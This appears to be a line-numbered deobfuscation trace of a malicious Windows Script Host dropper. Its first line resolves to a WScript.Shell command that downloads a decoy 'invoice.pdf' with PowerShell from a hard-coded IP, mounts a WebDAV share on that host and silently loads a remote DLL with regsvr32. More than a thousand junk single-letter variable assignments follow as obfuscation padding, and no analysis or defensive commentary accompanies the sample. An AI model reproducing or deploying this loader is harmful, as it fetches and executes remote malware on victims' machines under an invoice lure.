ougbbbfi + atmslowiy + inbrteb + herqcnx + glwhlg + xhynsktxk + txofei + inbrteb + zbbzgb + zhnktt + atmslowiy + ctwcfdajf + xhynsktxk + atmslowiy + lrqscbg + lrqscbg + rpqufsxz + arzhhhzeu + zbbzgb + hnsdf + rpqufsxz + unzthxe + zbbzgb + hnsdf + rpqufsxz + hnsdf + zhnktt + eflnt + inizb + epozk + hwscqnn + hwscqnn + hwscqnn + hwscqnn + lrqscbg + xrlvhcffd + xejzza + txofei + ypldse + ypldse + ypldse + inbrteb + fcplkr + fcplkr + wlgqtx + lrqscbg + rpqufsxz + zbbzgb + iikjypfk + mjbxiwzc + arzhhhzeu + rpqufsxz + iikjypfk + inizb + eflnt + zbbzgb + rpqufsxz + eflnt + rpqufsxz + unzthxe + unzthxe + hnsdf + xrlvhcffd + kevry + kevry, 0, false );	Windows Script Host.CreateObject("WScript.Shell") ➔ run("cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\invoice.pdf http://193.143.1.205/invoice.php"&&start %temp%\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\137691750310144.dll",0,false) ➔ 0
14	}
15	zhnktt = "T";
16	zhnktt = "Q";
17	zhnktt = "b";
18	zhnktt = "w";
19	zhnktt = "M";
20	zhnktt = "m";
21	zhnktt = "x";
22	zhnktt = "D";
23	zhnktt = "K";
24	zhnktt = "l";
25	zhnktt = "B";
26	zhnktt = "Z";
27	zhnktt = "B";
28	zhnktt = "d";
29	zhnktt = "r";
30	zhnktt = "j";
31	zhnktt = "Q";
32	zhnktt = "q";
33	zhnktt = "m";
34	zhnktt = "u";
35	zhnktt = "C";
36	zhnktt = "a";
37	zhnktt = "A";
38	zhnktt = "I";
39	zhnktt = "D";
40	zhnktt = "Y";
41	zhnktt = "A";
42	zhnktt = "A";
43	zhnktt = "y";
44	zhnktt = "V";
45	zhnktt = "N";
46	zhnktt = "K";
47	zhnktt = "X";
48	zhnktt = "A";
49	zhnktt = "u";
50	zhnktt = "b";
51	zhnktt = "V";
52	zhnktt = "L";
53	zhnktt = "h";
54	zhnktt = "H";
55	zhnktt = "2";
56	bwlspvmy = "o";
57	bwlspvmy = "x";
58	bwlspvmy = "p";
59	bwlspvmy = "W";
60	bwlspvmy = "f";
61	bwlspvmy = "U";
62	bwlspvmy = "j";
63	bwlspvmy = "p";
64	bwlspvmy = "g";
65	bwlspvmy = "G";
66	bwlspvmy = "z";
67	bwlspvmy = "Y";
68	bwlspvmy = "g";
69	bwlspvmy = "h";
70	bwlspvmy = "w";
71	bwlspvmy = "x";
72	bwlspvmy = "r";
73	bwlspvmy = "i";
74	bwlspvmy = "e";
75	bwlspvmy = "M";
76	bwlspvmy = "w";
77	bwlspvmy = "V";
78	bwlspvmy = "K";
79	bwlspvmy = "T";
80	bwlspvmy = "E";
81	bwlspvmy = "O";
82	bwlspvmy = "y";
83	bwlspvmy = "D";
84	bwlspvmy = "f";
85	bwlspvmy = "H";
86	bwlspvmy = "W";
87	bwlspvmy = "R";
88	bwlspvmy = "t";
89	bwlspvmy = "H";
90	bwlspvmy = "V";
91	bwlspvmy = "p";
92	bwlspvmy = "b";
93	bwlspvmy = "M";
94	bwlspvmy = "Z";
95	bwlspvmy = "P";
96	bwlspvmy = "r";
97	bwlspvmy = "K";
98	uraqztns = "f";
99	uraqztns = "N";
100	uraqztns = "z";
101	uraqztns = "g";
102	uraqztns = "J";
103	uraqztns = "f";
104	uraqztns = "C";
105	uraqztns = "T";
106	uraqztns = "g";
107	uraqztns = "q";
108	uraqztns = "e";
109	uraqztns = "f";
110	uraqztns = "I";
111	uraqztns = "l";
112	uraqztns = "n";
113	uraqztns = "W";
114	txofei = "E";
115	txofei = "B";
116	txofei = "l";
117	txofei = "V";
118	txofei = "o";
119	txofei = "K";
120	txofei = "f";
121	txofei = "Q";
122	txofei = "h";
123	txofei = "l";
124	txofei = "k";
125	txofei = "B";
126	txofei = "E";
127	txofei = "Z";
128	txofei = "H";
129	txofei = "t";
130	txofei = "l";
131	txofei = "J";
132	txofei = "d";
133	txofei = "n";
134	txofei = "G";
135	txofei = "v";
136	glwhlg = "F";
137	glwhlg = "E";
138	glwhlg = "Z";
139	glwhlg = "f";
140	glwhlg = "k";
141	glwhlg = "p";
142	glwhlg = "W";
143	glwhlg = "F";
144	glwhlg = "o";
145	glwhlg = "L";
146	glwhlg = "N";
147	glwhlg = "n";
148	glwhlg = "J";
149	glwhlg = "o";
150	glwhlg = "q";
151	glwhlg = "I";
152	glwhlg = "R";
153	glwhlg = "l";
154	glwhlg = "B";
155	glwhlg = "L";
156	glwhlg = "F";
157	glwhlg = "U";
158	glwhlg = "T";
159	glwhlg = "R";
160	glwhlg = "T";
161	glwhlg = "D";
162	glwhlg = "f";
163	glwhlg = "s";
164	glwhlg = "M";
165	glwhlg = "B";
166	glwhlg = "y";
167	glwhlg = "P";
168	glwhlg = "v";
169	glwhlg = "I";
170	glwhlg = "E";
171	glwhlg = "w";
172	glwhlg = "H";
173	glwhlg = "Y";
174	glwhlg = "B";
175	glwhlg = "P";
176	glwhlg = "e";
177	glwhlg = "g";
178	mjbxiwzc = "l";
179	mjbxiwzc = "m";
180	mjbxiwzc = "r";
181	mjbxiwzc = "b";
182	mjbxiwzc = "H";
183	mjbxiwzc = "H";
184	mjbxiwzc = "J";
185	mjbxiwzc = "u";
186	mjbxiwzc = "C";
187	mjbxiwzc = "b";
188	mjbxiwzc = "w";
189	mjbxiwzc = "x";
190	mjbxiwzc = "T";
191	mjbxiwzc = "Z";
192	mjbxiwzc = "J";
193	mjbxiwzc = "T";
194	mjbxiwzc = "o";
195	mjbxiwzc = "L";
196	mjbxiwzc = "y";
197	mjbxiwzc = "L";
198	mjbxiwzc = "f";
199	mjbxiwzc = "C";
200	mjbxiwzc = "n";
201	mjbxiwzc = "x";
202	mjbxiwzc = "A";
203	mjbxiwzc = "Z";
204	mjbxiwzc = "e";
205	mjbxiwzc = "R";
206	mjbxiwzc = "V";
207	mjbxiwzc = "K";
208	mjbxiwzc = "n";
209	mjbxiwzc = "V";
210	mjbxiwzc = "N";
211	mjbxiwzc = "d";
212	mjbxiwzc = "i";
213	mjbxiwzc = "U";
214	mjbxiwzc = "Y";
215	mjbxiwzc = "d";
216	mjbxiwzc = "h";
217	mjbxiwzc = "h";
218	mjbxiwzc = "l";
219	mjbxiwzc = "J";
220	mjbxiwzc = "R";
221	mjbxiwzc = "6";
222	bvuqd = "U";
223	bvuqd = "P";
224	bvuqd = "V";
225	bvuqd = "I";
226	bvuqd = "o";
227	bvuqd = "y";
228	bvuqd = "u";
229	bvuqd = "n";
230	bvuqd = "Z";
231	bvuqd = "U";
232	bvuqd = "w";
233	bvuqd = "t";
234	bvuqd = "z";
235	bvuqd = "N";
236	bvuqd = "L";
237	bvuqd = "g";
238	bvuqd = "K";
239	bvuqd = "c";
240	bvuqd = "d";
241	bvuqd = "C";
242	bvuqd = "b";
243	vwqqxthi = "i";
244	vwqqxthi = "F";
245	vwqqxthi = "B";
246	vwqqxthi = "H";
247	vwqqxthi = "v";
248	vwqqxthi = "g";
249	vwqqxthi = "T";
250	vwqqxthi = "A";
251	vwqqxthi = "G";
252	vwqqxthi = "v";
253	vwqqxthi = "s";
254	vwqqxthi = "r";
255	vwqqxthi = "V";
256	vwqqxthi = "c";
257	vwqqxthi = "_";
258	inbrteb = "N";
259	inbrteb = "d";
260	inbrteb = "F";
261	inbrteb = "R";
262	inbrteb = "e";
263	inbrteb = "N";
264	inbrteb = "l";
265	inbrteb = "B";
266	inbrteb = "P";
267	inbrteb = "o";
268	inbrteb = "Y";
269	inbrteb = "m";
270	inbrteb = "i";
271	inbrteb = "z";
272	inbrteb = "x";
273	inbrteb = "M";
274	inbrteb = "Y";
275	inbrteb = "Q";
276	inbrteb = "Z";
277	inbrteb = "D";
278	inbrteb = "B";
279	inbrteb = "s";
280	inbrteb = "L";
281	inbrteb = "h";
282	inbrteb = "E";
283	inbrteb = "a";
284	inbrteb = "N";
285	inbrteb = "X";
286	inbrteb = "y";
287	inbrteb = "G";
288	inbrteb = "V";
289	inbrteb = "b";
290	inbrteb = "r";
291	atgsexqfv = "r";
292	atgsexqfv = "d";
293	atgsexqfv = "B";
294	atgsexqfv = "H";
295	atgsexqfv = "G";
296	atgsexqfv = "L";
297	atgsexqfv = "N";
298	atgsexqfv = "D";
299	atgsexqfv = "u";
300	atgsexqfv = "X";
301	atgsexqfv = "d";
302	atgsexqfv = "J";
303	atgsexqfv = "J";
304	atgsexqfv = "M";
305	atgsexqfv = "w";
306	atgsexqfv = "D";
307	atgsexqfv = "z";
308	atgsexqfv = "E";
309	atgsexqfv = "S";
310	atgsexqfv = "h";
311	atgsexqfv = "R";
312	atgsexqfv = "Z";
313	atgsexqfv = "L";
314	atgsexqfv = "s";
315	atgsexqfv = "C";
316	atgsexqfv = "h";
317	atgsexqfv = "L";
318	atgsexqfv = "x";
319	atgsexqfv = "e";
320	atgsexqfv = "C";
321	atgsexqfv = "u";
322	atgsexqfv = "Y";
323	atgsexqfv = "R";
324	atgsexqfv = "n";
325	atgsexqfv = "E";
326	atgsexqfv = "W";
327	atgsexqfv = "b";
328	atgsexqfv = "q";
329	atgsexqfv = "L";
330	atgsexqfv = "u";
331	atgsexqfv = "Q";
332	atgsexqfv = "y";
333	atgsexqfv = "k";
334	atgsexqfv = "j";
335	eflnt = "A";
336	eflnt = "P";
337	eflnt = "I";
338	eflnt = "e";
339	eflnt = "O";
340	eflnt = "Z";
341	eflnt = "e";
342	eflnt = "f";
343	eflnt = "Z";
344	eflnt = "K";
345	eflnt = "L";
346	eflnt = "Z";
347	eflnt = "A";
348	eflnt = "l";
349	eflnt = "D";
350	eflnt = "J";
351	eflnt = "a";
352	eflnt = "f";
353	eflnt = "t";
354	eflnt = "o";
355	eflnt = "S";
356	eflnt = "z";
357	eflnt = "z";
358	eflnt = "m";
359	eflnt = "k";
360	eflnt = "b";
361	eflnt = "g";
362	eflnt = "y";
363	eflnt = "n";
364	eflnt = "w";
365	eflnt = "q";
366	eflnt = "E";
367	eflnt = "E";
368	eflnt = "W";
369	eflnt = "P";
370	eflnt = "O";
371	eflnt = "Z";
372	eflnt = "a";
373	eflnt = "B";
374	eflnt = "b";
375	eflnt = "W";
376	eflnt = "i";
377	eflnt = "s";
378	eflnt = "0";
379	avopncj = "T";
380	avopncj = "P";
381	avopncj = "G";
382	avopncj = "P";
383	avopncj = "G";
384	avopncj = "g";
385	avopncj = "B";
386	avopncj = "V";
387	avopncj = "Z";
388	avopncj = "d";
389	avopncj = "i";
390	avopncj = "U";
391	avopncj = "Z";
392	avopncj = "f";
393	avopncj = "J";
394	avopncj = "z";
395	avopncj = "x";
396	hwscqnn = "M";
397	hwscqnn = "c";
398	hwscqnn = "V";
399	hwscqnn = "c";
400	hwscqnn = "p";
401	hwscqnn = "8";
402	arzhhhzeu = "m";
403	arzhhhzeu = "h";
404	arzhhhzeu = "q";
405	arzhhhzeu = "m";
406	arzhhhzeu = "p";
407	arzhhhzeu = "V";
408	arzhhhzeu = "Q";
409	arzhhhzeu = "E";
410	arzhhhzeu = "M";
411	arzhhhzeu = "k";
412	arzhhhzeu = "E";
413	arzhhhzeu = "Z";
414	arzhhhzeu = "G";
415	arzhhhzeu = "X";
416	arzhhhzeu = "K";
417	arzhhhzeu = "c";
418	arzhhhzeu = "U";
419	arzhhhzeu = "G";
420	arzhhhzeu = "b";
421	arzhhhzeu = "L";
422	arzhhhzeu = "v";
423	arzhhhzeu = "r";
424	arzhhhzeu = "s";
425	arzhhhzeu = "V";
426	arzhhhzeu = "o";
427	arzhhhzeu = "w";
428	arzhhhzeu = "g";
429	arzhhhzeu = "C";
430	arzhhhzeu = "X";
431	arzhhhzeu = "B";
432	arzhhhzeu = "Z";
433	arzhhhzeu = "I";
434	arzhhhzeu = "u";
435	arzhhhzeu = "m";
436	arzhhhzeu = "9";
437	xrlvhcffd = "w";
438	xrlvhcffd = "y";
439	xrlvhcffd = "Q";
440	xrlvhcffd = "d";
441	xrlvhcffd = "Z";
442	xrlvhcffd = "n";
443	xrlvhcffd = "B";
444	xrlvhcffd = "Y";
445	xrlvhcffd = "n";
446	xrlvhcffd = "l";
447	xrlvhcffd = "C";
448	xrlvhcffd = "u";
449	xrlvhcffd = "m";
450	xrlvhcffd = "W";
451	xrlvhcffd = "j";
452	xrlvhcffd = "q";
453	xrlvhcffd = "Z";
454	xrlvhcffd = "i";
455	xrlvhcffd = "C";
456	xrlvhcffd = "S";
457	xrlvhcffd = "E";
458	xrlvhcffd = "j";
459	xrlvhcffd = "T";
460	xrlvhcffd = "L";
461	xrlvhcffd = "e";
462	xrlvhcffd = "V";
463	xrlvhcffd = "E";
464	xrlvhcffd = "F";
465	xrlvhcffd = "e";
466	xrlvhcffd = "O";
467	xrlvhcffd = "B";
468	xrlvhcffd = "b";
469	xrlvhcffd = "Q";
470	xrlvhcffd = "a";
471	xrlvhcffd = "R";
472	xrlvhcffd = "d";
473	illibk = "R";
474	illibk = "r";
475	illibk = "A";
476	illibk = "S";
477	illibk = "G";
478	illibk = "J";
479	illibk = "V";
480	illibk = "z";
481	illibk = "l";
482	illibk = "v";
483	illibk = "l";
484	illibk = "p";
485	illibk = "E";
486	hnsdf = "w";
487	hnsdf = "d";
488	hnsdf = "r";
489	hnsdf = "R";
490	hnsdf = "S";
491	hnsdf = "M";
492	hnsdf = "o";
493	hnsdf = "n";
494	hnsdf = "B";
495	hnsdf = "P";
496	hnsdf = "d";
497	hnsdf = "s";
498	hnsdf = "h";
499	hnsdf = "Z";
500	hnsdf = "H";
501	hnsdf = "w";
502	hnsdf = "o";
503	hnsdf = "W";
504	hnsdf = "g";
505	hnsdf = "S";
506	hnsdf = "Z";
507	hnsdf = "V";
508	hnsdf = "l";
509	hnsdf = "q";
510	hnsdf = "Z";
511	hnsdf = "I";
512	hnsdf = "P";
513	hnsdf = "c";
514	hnsdf = "p";
515	hnsdf = "t";
516	hnsdf = "C";
517	hnsdf = "s";
518	hnsdf = "M";
519	hnsdf = "C";
520	hnsdf = "N";
521	hnsdf = "J";
522	hnsdf = ".";
523	kevry = "b";
524	kevry = "U";
525	kevry = "d";
526	kevry = "j";
527	kevry = "J";
528	kevry = "W";
529	kevry = "I";
530	kevry = "R";
531	kevry = "H";
532	kevry = "d";
533	kevry = "f";
534	kevry = "x";
535	kevry = "Y";
536	kevry = "t";
537	kevry = "t";
538	kevry = "g";
539	kevry = "A";
540	kevry = "y";
541	kevry = "j";
542	kevry = "k";
543	kevry = "E";
544	kevry = "S";
545	kevry = "c";
546	kevry = "r";
547	kevry = "x";
548	kevry = "Y";
549	kevry = "Q";
550	kevry = "l";
551	xjumatuuy = "l";
552	xjumatuuy = "b";
553	xjumatuuy = "w";
554	xjumatuuy = "P";
555	xjumatuuy = "q";
556	xjumatuuy = "c";
557	xjumatuuy = "G";
558	xjumatuuy = "w";
559	xjumatuuy = "U";
560	xjumatuuy = "G";
561	xjumatuuy = "F";
562	xjumatuuy = "a";
563	xjumatuuy = "W";
564	xjumatuuy = "v";
565	xjumatuuy = "l";
566	xjumatuuy = "O";
567	xjumatuuy = "N";
568	xjumatuuy = "o";
569	xjumatuuy = "K";
570	xjumatuuy = "V";
571	xjumatuuy = "O";
572	xjumatuuy = "A";
573	xjumatuuy = "T";
574	xjumatuuy = "i";
575	xjumatuuy = "B";
576	xjumatuuy = "N";
577	xjumatuuy = "S";
578	xjumatuuy = "o";
579	xjumatuuy = "w";
580	xjumatuuy = "I";
581	xjumatuuy = "B";
582	xjumatuuy = "M";
583	xjumatuuy = "j";
584	xjumatuuy = "p";
585	xjumatuuy = "r";
586	xjumatuuy = "D";
587	xjumatuuy = "H";
588	xjumatuuy = "C";
589	xjumatuuy = "M";
590	xjumatuuy = "q";
591	xjumatuuy = "F";
592	xjumatuuy = "Y";
593	xjumatuuy = "v";
594	xjumatuuy = "r";
595	xjumatuuy = "I";
596	fktdqu = "Q";
597	fktdqu = "U";
598	fktdqu = "i";
599	fktdqu = "d";
600	fktdqu = "D";
601	fktdqu = "u";
602	fktdqu = "F";
603	fktdqu = "i";
604	fktdqu = "s";
605	fktdqu = "B";
606	fktdqu = "q";
607	fktdqu = "Y";
608	fktdqu = "c";
609	fktdqu = "f";
610	fktdqu = "A";
611	fktdqu = "p";
612	fktdqu = "w";
613	fktdqu = "A";
614	fktdqu = "p";
615	fktdqu = "V";
616	fktdqu = "u";
617	fktdqu = "J";
618	fktdqu = "Y";
619	fktdqu = "U";
620	fktdqu = "e";
621	fktdqu = "Q";
622	fktdqu = "n";
623	fktdqu = "T";
624	fktdqu = "w";
625	fktdqu = "I";
626	fktdqu = "o";
627	fktdqu = "W";
628	fktdqu = "s";
629	fktdqu = "d";
630	fktdqu = "l";
631	fktdqu = "H";
632	fktdqu = "S";
633	fktdqu = "b";
634	fktdqu = "I";
635	fktdqu = "H";
636	fktdqu = "x";
637	fktdqu = "c";
638	fktdqu = "R";
639	fbvbcwzo = "E";
640	fbvbcwzo = "A";
641	fbvbcwzo = "d";
642	fbvbcwzo = "W";
643	fbvbcwzo = "a";
644	fbvbcwzo = "c";
645	fbvbcwzo = "a";
646	fbvbcwzo = "Q";
647	gasfy = "d";
648	gasfy = "T";
649	zuuunw = "y";
650	zuuunw = "K";
651	zuuunw = "i";
652	zuuunw = "E";
653	zuuunw = "H";
654	zuuunw = "c";
655	zuuunw = "Z";
656	zuuunw = "e";
657	zuuunw = "g";
658	zuuunw = "d";
659	zuuunw = "X";
660	zuuunw = "O";
661	zuuunw = "o";
662	zuuunw = "b";
663	zuuunw = "J";
664	zuuunw = "V";
665	zuuunw = "c";
666	zuuunw = "B";
667	zuuunw = "q";
668	zuuunw = "D";
669	zuuunw = "R";
670	zuuunw = "e";
671	zuuunw = "k";
672	zuuunw = "d";
673	zuuunw = "H";
674	zuuunw = "x";
675	zuuunw = "d";
676	zuuunw = "I";
677	zuuunw = "t";
678	zuuunw = "H";
679	zuuunw = "v";
680	zuuunw = "H";
681	zuuunw = "Y";
682	zuuunw = "h";
683	zuuunw = "m";
684	ckjbz = "X";
685	ckjbz = "t";
686	ckjbz = "j";
687	ckjbz = "Q";
688	ckjbz = "U";
689	ckjbz = "D";
690	ckjbz = "z";
691	ckjbz = "f";
692	ckjbz = "u";
693	ckjbz = "U";
694	ckjbz = "z";
695	ckjbz = "E";
696	ckjbz = "&";
697	jtxbeow = "y";
698	jtxbeow = "X";
699	jtxbeow = "K";
700	jtxbeow = "k";
701	jtxbeow = "Q";
702	jtxbeow = "I";
703	jtxbeow = "z";
704	jtxbeow = "O";
705	jtxbeow = "b";
706	jtxbeow = "c";
707	jtxbeow = "x";
708	jtxbeow = "B";
709	jtxbeow = "h";
710	jtxbeow = "b";
711	jtxbeow = "y";
712	jtxbeow = "P";
713	jtxbeow = "c";
714	jtxbeow = "X";
715	jtxbeow = "P";
716	usgdymvvr = "R";
717	usgdymvvr = "T";
718	usgdymvvr = "l";
719	usgdymvvr = "i";
720	usgdymvvr = "F";
721	usgdymvvr = "f";
722	usgdymvvr = "f";
723	usgdymvvr = "P";
724	usgdymvvr = "f";
725	usgdymvvr = "Y";
726	usgdymvvr = "n";
727	usgdymvvr = "w";
728	usgdymvvr = "l";
729	usgdymvvr = "b";
730	usgdymvvr = "F";
731	usgdymvvr = "q";
732	usgdymvvr = "J";
733	usgdymvvr = "t";
734	usgdymvvr = "U";
735	usgdymvvr = "P";
736	usgdymvvr = "o";
737	usgdymvvr = "O";
738	usgdymvvr = "H";
739	usgdymvvr = "z";
740	usgdymvvr = "b";
741	usgdymvvr = "I";
742	usgdymvvr = "F";
743	usgdymvvr = "T";
744	usgdymvvr = "J";
745	usgdymvvr = "X";
746	usgdymvvr = "c";
747	usgdymvvr = "e";
748	usgdymvvr = "h";
749	usgdymvvr = "g";
750	usgdymvvr = "j";
751	usgdymvvr = "v";
752	usgdymvvr = "g";
753	usgdymvvr = "w";
754	usgdymvvr = "q";
755	rxiojqwba = "k";
756	rxiojqwba = "L";
757	rxiojqwba = "G";
758	rxiojqwba = "u";
759	rxiojqwba = "O";
760	rxiojqwba = "N";
761	hzgsbpj = "x";
762	hzgsbpj = "K";
763	hzgsbpj = "S";
764	hzgsbpj = "T";
765	hzgsbpj = "h";
766	hzgsbpj = "N";
767	hzgsbpj = "w";
768	hzgsbpj = "Z";
769	hzgsbpj = "I";
770	hzgsbpj = "x";
771	hzgsbpj = "D";
772	hzgsbpj = "p";
773	hzgsbpj = "b";
774	hzgsbpj = "c";
775	hzgsbpj = "p";
776	hzgsbpj = "z";
777	hzgsbpj = "N";
778	hzgsbpj = "S";
779	herqcnx = "k";
780	herqcnx = "I";
781	herqcnx = "Z";
782	herqcnx = "i";
783	herqcnx = "i";
784	herqcnx = "a";
785	herqcnx = "I";
786	herqcnx = "u";
787	herqcnx = "E";
788	herqcnx = "T";
789	herqcnx = "F";
790	herqcnx = "F";
791	herqcnx = "p";
792	herqcnx = "p";
793	herqcnx = "e";
794	miyuzg = "V";
795	miyuzg = "I";
796	miyuzg = "v";
797	miyuzg = "T";
798	miyuzg = "N";
799	miyuzg = "K";
800	miyuzg = "n";
801	miyuzg = "r";
802	miyuzg = "R";
803	miyuzg = "M";
804	miyuzg = "L";
805	miyuzg = "O";
806	miyuzg = "L";
807	miyuzg = "O";
808	miyuzg = "S";
809	miyuzg = "u";
810	miyuzg = "c";
811	miyuzg = "V";
812	miyuzg = "o";
813	miyuzg = "w";
814	miyuzg = "H";
815	miyuzg = "Z";
816	miyuzg = "N";
817	miyuzg = "d";
818	miyuzg = "V";
819	miyuzg = "y";
820	miyuzg = "M";
821	miyuzg = "q";
822	miyuzg = "v";
823	miyuzg = "B";
824	miyuzg = "j";
825	miyuzg = "v";
826	miyuzg = "s";
827	miyuzg = "f";
828	miyuzg = "b";
829	miyuzg = "d";
830	miyuzg = "g";
831	miyuzg = "E";
832	miyuzg = "n";
833	miyuzg = "d";
834	miyuzg = "%";
835	mnfbsh = "N";
836	mnfbsh = "j";
837	mnfbsh = "I";
838	mnfbsh = "O";
839	mnfbsh = "m";
840	mnfbsh = "i";
841	mnfbsh = "B";
842	mnfbsh = "k";
843	mnfbsh = "F";
844	mnfbsh = "R";
845	mnfbsh = "D";
846	mnfbsh = "u";
847	mnfbsh = "j";
848	mnfbsh = "d";
849	mnfbsh = "G";
850	mnfbsh = "H";
851	mnfbsh = "m";
852	mnfbsh = "o";
853	mnfbsh = "I";
854	mnfbsh = "o";
855	mnfbsh = "A";
856	mnfbsh = "E";
857	mnfbsh = "Z";
858	mnfbsh = "U";
859	mnfbsh = "k";
860	mnfbsh = "T";
861	mnfbsh = "L";
862	mnfbsh = "T";
863	mnfbsh = ":";
864	mxrknm = "J";
865	mxrknm = "T";
866	mxrknm = "d";
867	mxrknm = "f";
868	mxrknm = "I";
869	mxrknm = "I";
870	mxrknm = "h";
871	mxrknm = "F";
872	mxrknm = "U";
873	mxrknm = "E";
874	mxrknm = "K";
875	mxrknm = "l";
876	mxrknm = "i";
877	mxrknm = "W";
878	mxrknm = "A";
879	mxrknm = "j";
880	mxrknm = "p";
881	mxrknm = "y";
882	mxrknm = "n";
883	mxrknm = "e";
884	mxrknm = "L";
885	mxrknm = "u";
886	fcplkr = "w";
887	fcplkr = "r";
888	fcplkr = "L";
889	fcplkr = "F";
890	fcplkr = "Z";
891	fcplkr = "t";
892	fcplkr = "U";
893	fcplkr = "p";
894	fcplkr = "g";
895	fcplkr = "M";
896	fcplkr = "t";
897	fcplkr = "j";
898	fcplkr = "L";
899	fcplkr = "R";
900	fcplkr = "b";
901	fcplkr = "o";
902	ypldse = "D";
903	ypldse = "C";
904	ypldse = "x";
905	ypldse = "f";
906	ypldse = "q";
907	ypldse = "v";
908	ypldse = "b";
909	ypldse = "s";
910	ypldse = "s";
911	ypldse = "D";
912	ypldse = "z";
913	ypldse = "e";
914	ypldse = "t";
915	ypldse = "l";
916	ypldse = "i";
917	ypldse = "q";
918	ypldse = "Q";
919	ypldse = "i";
920	ypldse = "J";
921	ypldse = "r";
922	ypldse = "R";
923	ypldse = "H";
924	ypldse = "f";
925	ypldse = "y";
926	ypldse = "P";
927	ypldse = "B";
928	ypldse = "U";
929	ypldse = "E";
930	ypldse = "g";
931	ypldse = "I";
932	ypldse = "L";
933	ypldse = "O";
934	ypldse = "d";
935	ypldse = "w";
936	vsygoywc = "X";
937	vsygoywc = "p";
938	vsygoywc = "b";
939	vsygoywc = "B";
940	vsygoywc = "X";
941	vsygoywc = "H";
942	vsygoywc = "E";
943	vsygoywc = "p";
944	vsygoywc = "T";
945	vsygoywc = "j";
946	vsygoywc = "s";
947	vsygoywc = "W";
948	vsygoywc = "Q";
949	vsygoywc = "C";
950	vsygoywc = "a";
951	vsygoywc = "i";
952	ougbbbfi = "t";
953	ougbbbfi = "v";
954	ougbbbfi = "R";
955	ougbbbfi = "y";
956	ougbbbfi = "x";
957	ougbbbfi = "u";
958	ougbbbfi = "R";
959	ougbbbfi = "y";
960	ougbbbfi = "P";
961	ougbbbfi = "N";
962	ougbbbfi = "q";
963	ougbbbfi = "h";
964	ougbbbfi = "U";
965	ougbbbfi = "S";
966	ougbbbfi = "X";
967	ougbbbfi = "J";
968	ougbbbfi = "c";
969	rygma = "H";
970	rygma = "y";
971	rygma = "F";
972	rygma = "M";
973	rygma = "l";
974	rygma = "q";
975	rygma = "W";
976	rygma = "b";
977	rygma = "j";
978	rygma = "Y";
979	rygma = "B";
980	rygma = "T";
981	rygma = "l";
982	rygma = "R";
983	rygma = "U";
984	rygma = "Y";
985	rygma = "a";
986	rygma = "W";
987	rygma = "A";
988	rygma = "c";
989	rygma = "Y";
990	rygma = "q";
991	rygma = "d";
992	rygma = "q";
993	rygma = "M";
994	rygma = "M";
995	rygma = "M";
996	rygma = "t";
997	rygma = "k";
998	rygma = "L";
999	rygma = "v";
1000	rygma = "s";
1001	rygma = "J";
1002	rygma = "j";
1003	rygma = "S";
1004	rygma = "J";
1005	rygma = "v";
1006	rygma = "y";
1007	rygma = "W";
1008	rygma = "t";
1009	rygma = "h";
1010	rygma = "u";
1011	rygma = "R";
1012	rygma = "k";
1013	lrqscbg = "I";
1014	lrqscbg = "f";
1015	lrqscbg = "Z";
1016	lrqscbg = "o";
1017	lrqscbg = "Q";
1018	lrqscbg = "K";
1019	lrqscbg = "A";
1020	lrqscbg = "R";
1021	lrqscbg = "p";
1022	lrqscbg = "E";
1023	lrqscbg = "K";
1024	lrqscbg = "p";
1025	lrqscbg = "W";
1026	lrqscbg = "d";
1027	lrqscbg = "g";
1028	lrqscbg = "n";
1029	lrqscbg = "z";
1030	lrqscbg = "o";
1031	lrqscbg = "O";
1032	lrqscbg = "V";
1033	lrqscbg = "O";
1034	lrqscbg = "i";
1035	lrqscbg = "I";
1036	lrqscbg = "I";
1037	lrqscbg = "P";
1038	lrqscbg = "G";
1039	lrqscbg = "n";
1040	lrqscbg = "W";
1041	lrqscbg = "O";
1042	lrqscbg = "B";
1043	lrqscbg = "V";
1044	lrqscbg = "w";
1045	lrqscbg = "c";
1046	lrqscbg = "b";
1047	lrqscbg = "h";
1048	lrqscbg = "g";
1049	lrqscbg = "L";
1050	lrqscbg = "O";
1051	lrqscbg = "i";
1052	lrqscbg = "z";
1053	lrqscbg = "\\";
1054	zxycrmhc = "x";
1055	zxycrmhc = "S";
1056	zxycrmhc = "c";
1057	zxycrmhc = "R";
1058	zxycrmhc = "Q";
1059	zxycrmhc = "A";
1060	zxycrmhc = "g";
1061	zxycrmhc = "x";
1062	zxycrmhc = "X";
1063	zxycrmhc = "f";
1064	zxycrmhc = "A";
1065	zxycrmhc = "t";
1066	zxycrmhc = "D";
1067	zxycrmhc = "Y";
1068	zxycrmhc = "P";
1069	zxycrmhc = "X";
1070	zxycrmhc = "U";
1071	xejzza = "I";
1072	xejzza = "c";
1073	xejzza = "U";
1074	xejzza = "w";
1075	xejzza = "H";
1076	xejzza = "i";
1077	xejzza = "u";
1078	xejzza = "w";
1079	xejzza = "E";
1080	xejzza = "i";
1081	xejzza = "l";
1082	xejzza = "E";
1083	xejzza = "j";
1084	xejzza = "q";
1085	xejzza = "M";
1086	xejzza = "S";
1087	xejzza = "r";
1088	xejzza = "z";
1089	xejzza = "f";
1090	xejzza = "k";
1091	xejzza = "i";
1092	xejzza = "W";
1093	xejzza = "w";
1094	xejzza = "t";
1095	xejzza = "n";
1096	xejzza = "D";
1097	xejzza = "h";
1098	xejzza = "E";
1099	xejzza = "r";
1100	xejzza = "V";
1101	xejzza = "c";
1102	xejzza = "O";
1103	xejzza = "L";
1104	xejzza = "g";
1105	xejzza = "v";
1106	xejzza = "s";
1107	xejzza = "j";
1108	xejzza = "f";
1109	xejzza = "B";
1110	xejzza = "G";
1111	xejzza = "n";
1112	xejzza = "d";
1113	xejzza = "k";
1114	xejzza = "i";
1115	xejzza = "a";
1116	rpqufsxz = "s";
1117	rpqufsxz = "D";
1118	rpqufsxz = "g";
1119	rpqufsxz = "q";
1120	rpqufsxz = "n";
1121	rpqufsxz = "L";
1122	rpqufsxz = "g";
1123	rpqufsxz = "t";
1124	rpqufsxz = "y";
1125	rpqufsxz = "f";
1126	rpqufsxz = "h";
1127	rpqufsxz = "z";
1128	rpqufsxz = "z";
1129	rpqufsxz = "e";
1130	rpqufsxz = "e";
1131	rpqufsxz = "C";
1132	rpqufsxz = "K";
1133	rpqufsxz = "K";
1134	rpqufsxz = "V";
1135	rpqufsxz = "x";
1136	rpqufsxz = "n";
1137	rpqufsxz = "A";
1138	rpqufsxz = "P";
1139	rpqufsxz = "i";
